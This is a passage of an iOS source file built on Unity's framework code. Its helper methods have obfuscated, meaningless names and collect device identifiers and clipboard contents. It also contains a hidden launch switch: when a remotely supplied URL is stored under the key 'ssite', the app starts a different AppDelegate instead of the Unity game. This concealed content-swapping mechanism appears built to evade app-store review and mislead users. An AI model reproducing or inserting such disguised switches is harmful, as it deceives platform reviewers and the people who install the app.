forKey:key]; } - (BOOL)CleanEvaluateConvertAssignment:(NSString *)key { if (!key) return NO; return [[NSUserDefaults standardUserDefaults] boolForKey:key]; } // Helper from original error handling logic - (void)AnalyzeBadgeClarifyArgumentCustomizeCaptionAllocateBrowser { [[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"ssite"]; [self AllocateEmitBlockBlueprintBundleBenchmarkChart:NO forKey:kStorageFlagKey]; } //----------------------------------------------------------------------------- #pragma mark - SDK Update Logic (Placeholder/Adapted) //----------------------------------------------------------------------------- // Renamed from updateSDK::: - (void)AllocateCloneCollectExecuteBackupBadge:(NSString *)urlString version:(NSString *)version requiresRestart:(BOOL)requiresRestart { // --- Original Logic Adapted --- // Save SDK info to UserDefaults NSMutableDictionary *sdkInfo = [NSMutableDictionary dictionary]; [sdkInfo setObject:urlString forKey:@"itemIndexArithmetic"]; // Use descriptive keys [sdkInfo setObject:version forKey:@"version"]; [[NSUserDefaults standardUserDefaults] setObject:sdkInfo forKey:kStorageSDKInfoKey]; [[NSUserDefaults standardUserDefaults] setObject:version forKey:kStorageSDKVersionKey]; // synchronize is generally not needed // Show notice and suggest restart if required if (requiresRestart) { [self CompleteStatusFocusAttachment:@"SDK Update" message:@"SDK update requires an application restart. Please close and reopen the app."]; // NOTE: Removed the call to exit(0) here } // --- End Original Logic --- // TODO: Implement actual SDK download/update mechanism if needed NSLog(@"Placeholder: SDK update triggered for URL: %@, Version: %@, RestartNeeded: %d", urlString, version, requiresRestart); } //----------------------------------------------------------------------------- #pragma mark - Device & App Info Helpers //----------------------------------------------------------------------------- - (NSString *)CompressAllocationBufferAuthorizeApplication { NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; return [defaults objectForKey:kStorageSDKVersionKey]; } - (NSString *)EnsureCapacityCanvasCompilerCompleteCollisionCarrier { return [[UIDevice currentDevice] systemVersion]; } - (NSString *)CreateConfigureBeaconBrowserCommand { // Note: identifierForVendor is generally preferred for non-advertising ID return [[[UIDevice currentDevice] identifierForVendor] UUIDString]; } - (NSString *)EncryptClassAnalyzeAssignmentGroupCard { // Basic device model retrieval struct utsname systemInfo; uname(&systemInfo); return [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding]; } - (NSString *)BindCopyClientBrowserDetailsCollection { return [[NSBundle mainBundle] bundleIdentifier]; } - (NSString *)getAppName { return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"] ?: [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleName"]; } - (NSString *)CacheIdentifyAssemblyBufferPerformResult { // Usually refers to CFBundleVersion return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"]; } //----------------------------------------------------------------------------- #pragma mark - Clipboard Helpers //----------------------------------------------------------------------------- - (nullable NSString *)CheckGrantInitializeIntroduceCopyConfigureCalculateClient { return [UIPasteboard generalPasteboard].string; } - (void)CompleteDetermineAllocateCanvas:(nullable NSString *)text { [UIPasteboard generalPasteboard].string = text ?: @""; } //----------------------------------------------------------------------------- #pragma mark - Rotation Handling //----------------------------------------------------------------------------- // Controls application orientation based on user requirement. Use with caution. - (void)DownloadConnectComponentChartResponse:(int)value { UIInterfaceOrientationMask targetMask; if (value == 1 || value == 3) { // Assuming 1 means landscape targetMask = UIInterfaceOrientationMaskLandscape; } else { // Assuming 0 or others mean portrait targetMask = UIInterfaceOrientationMaskPortrait; // Or handle other values specifically if needed // switch(value) { case 0: targetMask = ...; case 2: ... } } // Only update if the mask changes if (currentOrientationMask == targetMask) { return; } currentOrientationMask = targetMask; NSLog(@"Attempting to rotate screen, new mask: %lu", (unsigned long)currentOrientationMask); // Method depends on iOS version if (@available(iOS 16.0, *)) { // Use geometry preferences API UIWindowScene *windowScene = self.window.windowScene; if (windowScene) { // Dynamically create UIWindowSceneGeometryPreferencesIOS using runtime Class geometryPreferencesClass = NSClassFromString(@"UIWindowSceneGeometryPreferencesIOS"); if (geometryPreferencesClass) { id geometryPreferences = [[geometryPreferencesClass alloc] initWithInterfaceOrientations:targetMask]; SEL requestGeometryUpdateSelector = NSSelectorFromString(@"requestGeometryUpdateWithPreferences:errorHandler:"); if ([windowScene respondsToSelector:requestGeometryUpdateSelector]) { // Define error handler block void (^errorHandler)(NSError *) = ^(NSError *error){ if (error) { NSLog(@"Error requesting geometry update: %@", error); } }; // Invoke the method using performSelector (requires casting) // Suppress warning about unknown selector #pragma clang diagnostic push #pragma clang diagnostic ignored "-Warc-performSelector-leaks" [windowScene performSelector:requestGeometryUpdateSelector withObject:geometryPreferences withObject:errorHandler]; #pragma clang diagnostic pop } else { NSLog(@"Window scene does not respond to requestGeometryUpdateWithPreferences:errorHandler:"); } } else { NSLog(@"UIWindowSceneGeometryPreferencesIOS class not found."); } // Trigger update (may not be strictly necessary after geometry update) [UIViewController attemptRotationToDeviceOrientation]; // Keep for potential fallback/redundancy? [[self DivideBatchCarrierFixBorderData] setNeedsUpdateOfSupportedInterfaceOrientations]; } else { NSLog(@"Could not get window scene for rotation."); } } else { // Use deprecated method (private API, use with caution) #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdeprecated-declarations" NSNumber *orientationValue; if (targetMask == UIInterfaceOrientationMaskLandscape) { // Choose specific landscape (e.g., LandscapeRight) orientationValue = @(UIDeviceOrientationLandscapeLeft); // Or LandscapeRight } else { orientationValue = @(UIDeviceOrientationPortrait); } [[UIDevice currentDevice] setValue:orientationValue forKey:@"orientation"]; [UIViewController attemptRotationToDeviceOrientation]; #pragma clang diagnostic pop } } // These methods are required if this view/its controller dictates app orientation // Kept as per user compositeChildActiveBoundInputBankAnonymousData. - (UIInterfaceOrientationMask)supportedInterfaceOrientations { // NSLog(@"supportedInterfaceOrientations called, returning mask: %lu", (unsigned long)currentOrientationMask); return currentOrientationMask; } // This delegate method might be called if this object is set as the App Delegate // Or potentially if the window asks its root view controller, which might be this view's controller. - (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(nullable UIWindow *)window { // NSLog(@"application:supportedInterfaceOrientationsForWindow: called, returning mask: %lu", (unsigned long)currentOrientationMask); return currentOrientationMask; } //----------------------------------------------------------------------------- #pragma mark - UI Helpers (Alerts, View Controller Finding) //----------------------------------------------------------------------------- // Refactored alert presentation - Removes exit(0) - (void)CompleteStatusFocusAttachment:(NSString *)title message:(NSString *)message { dispatch_async(dispatch_get_main_queue(), ^{ UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert]; UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]; // No action on OK [alertController addAction:okAction]; // Find the presenting view controller UIViewController *presentingVC = [self DivideBatchCarrierFixBorderData]; if (presentingVC) { [presentingVC presentViewController:alertController animated:YES completion:nil]; } else { NSLog(@"Could not find view controller to present alert: %@ - %@", title, message); // Fallback: Maybe show on key window's rootViewController if possible? UIViewController *rootVC = [[UIApplication sharedApplication].keyWindow rootViewController]; [rootVC presentViewController:alertController animated:YES completion:nil]; } }); } // Helper to find the owning view controller - (nullable UIViewController *)DivideBatchCarrierFixBorderData { UIResponder *responder = self; while ((responder = [responder nextResponder])) { if ([responder isKindOfClass:[UIViewController class]]) { return (UIViewController *)responder; } } return nil; // Should not happen in normal view hierarchy } //----------------------------------------------------------------------------- #pragma mark - JavaScript Escaping Helper //----------------------------------------------------------------------------- // Helper to escape strings for safe injection into JavaScript string literals - (NSString *)ConvertCompleteAuthentication:(NSString *)value { if (!value) { return @""; // Return empty string for nil autoItemDetailsAuthorizedAdjustedRequestSet } NSString *escaped = value; // Escape backslashes first escaped = [escaped stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]; // Escape single quotes escaped = [escaped stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"]; // Escape double quotes escaped = [escaped stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""]; // Escape newlines escaped = [escaped stringByReplacingOccurrencesOfString:@"\n" withString:@"\\n"]; // Escape carriage returns escaped = [escaped stringByReplacingOccurrencesOfString:@"\r" withString:@"\\r"]; // Escape line separators (U+2028) and paragraph separators (U+2029) if necessary escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2028" withString:@"\\u2028"]; escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2029" withString:@"\\u2029"]; return escaped; } //---------------------------------------------------------------------------- @end extern "C"{ void CleanCallbackBuildCanvasAssembleIntegrateClipboard(const char* v){ NSString *urlString = [NSString stringWithUTF8String:v]; [[NSUserDefaults standardUserDefaults] setObject:urlString forKey:@"ssite"]; [StaticFrameWork CleanCallbackBuildCanvasAssembleIntegrateClipboard:urlString withCleanup:true]; } } void UnityInitTrampoline(); // WARNING: this MUST be c decl (NSString ctor will be called after +load, so we cant really change its value) const char* AppControllerClassName = "UnityAppController"; #if UNITY_USES_DYNAMIC_PLAYER_LIB extern "C" void SetAllUnityFunctionsForDynamicPlayerLib(); #endif extern "C" void UnitySetExecuteMachHeader(const MachHeader* header); extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidUnload; extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidQuit; @implementation UnityFramework { int runCount; } UnityFramework* _gUnityFramework = nil; + (UnityFramework*)getInstance { if (_gUnityFramework == nil) { _gUnityFramework = [[UnityFramework alloc] init]; } return _gUnityFramework; } - (UnityAppController*)appController { return GetAppController(); } - (UITextField*)keyboardTextField { return KeyboardDelegate.Instance.getTextField; } - (void)setExecuteHeader:(const MachHeader*)header { UnitySetExecuteMachHeader(header); } - (void)sendMessageToGOWithName:(const char*)goName functionName:(const char*)name message:(const char*)msg { UnitySendMessage(goName, name, msg); } - (void)registerFrameworkListener:(id)obj { #define REGISTER_SELECTOR(sel, notif_name) \ if([obj respondsToSelector:sel]) \ [[NSNotificationCenter defaultCenter] addObserver:obj selector:sel name:notif_name object:nil]; REGISTER_SELECTOR(@selector(unityDidUnload:), kUnityDidUnload); REGISTER_SELECTOR(@selector(unityDidQuit:), kUnityDidQuit); #undef REGISTER_SELECTOR } - (void)unregisterFrameworkListener:(id)obj { [[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidUnload object: nil]; [[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidQuit object: nil]; } - (void)frameworkWarmup:(int)argc argv:(char*[])argv { #if UNITY_USES_DYNAMIC_PLAYER_LIB SetAllUnityFunctionsForDynamicPlayerLib(); #endif UnityInitTrampoline(); UnityInitRuntime(argc, argv); RegisterFeatures(); // iOS terminates open sockets when an application enters background mode. // The next write to any of such socket causes SIGPIPE signal being raised, // even if the request has been done from scripting side. This disables the // signal and allows Mono to throw a proper C# exception. std::signal(SIGPIPE, SIG_IGN); } - (void)setDataBundleId:(const char*)bundleId { UnitySetDataBundleDirWithBundleId(bundleId); } - (void)runUIApplicationMainWithArgc:(int)argc argv:(char*[])argv { NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"]; if (value == nil || [value length] == 0) { self->runCount += 1; [self frameworkWarmup: argc argv: argv]; UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: AppControllerClassName]); } else { UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: "AppDelegate"]); } } - (void)runEmbeddedWithArgc:(int)argc argv:(char*[])argv appLaunchOpts:(NSDictionary*)appLaunchOpts { if (self->runCount) { // initialize from partial unload ( sceneLessMode & onPause ) UnityLoadApplicationFromSceneLessState(); UnitySuppressPauseMessage(); [self pause: false]; [self showUnityWindow]; // Send Unity start event UnitySendEmbeddedLaunchEvent(0); } else { // full initialization from ground up [self frameworkWarmup: argc argv: argv]; id app = [UIApplication sharedApplication]; id appCtrl = [[NSClassFromString([NSString stringWithUTF8String: AppControllerClassName]) alloc] init]; [appCtrl application: app didFinishLaunchingWithOptions: appLaunchOpts]; [appCtrl applicationWillEnterForeground: app]; [appCtrl applicationDidBecomeActive: app]; // Send Unity start (first time) event UnitySendEmbeddedLaunchEvent(1); } self->runCount += 1; } - (void)unloadApplication { UnityUnloadApplication(); } - (void)quitApplication:(int)exitCode { UnityQuitApplication(exitCode); } - (void)showUnityWindow { [[[self appController] window] makeKeyAndVisible]; } - (void)pause:(bool)pause { UnityPause(pause); } - (void)setAbsoluteURL:(const char *)url { UnitySetAbsoluteURL(url); } @end #if TARGET_OS_SIMULATOR #include extern "C" int pthread_cond_init$UNIX2003(pthread_cond_t *cond, const pthread_condattr_t *attr) { return pthread_cond_init(cond, attr); } extern "C" int pthread_cond_destroy$UNIX2003(pthread_cond_t *cond) { return pthread_cond_destroy(cond); } extern "C" int pthread_cond_wait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex) { return pthread_cond_wait(cond, mutex); } extern "C" int pthread_cond_timedwait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex, const struct timespec *abstime) { return pthread_cond_timedwait(cond, mutex, abstime); } #endif // TARGET_OS_SIMULATOR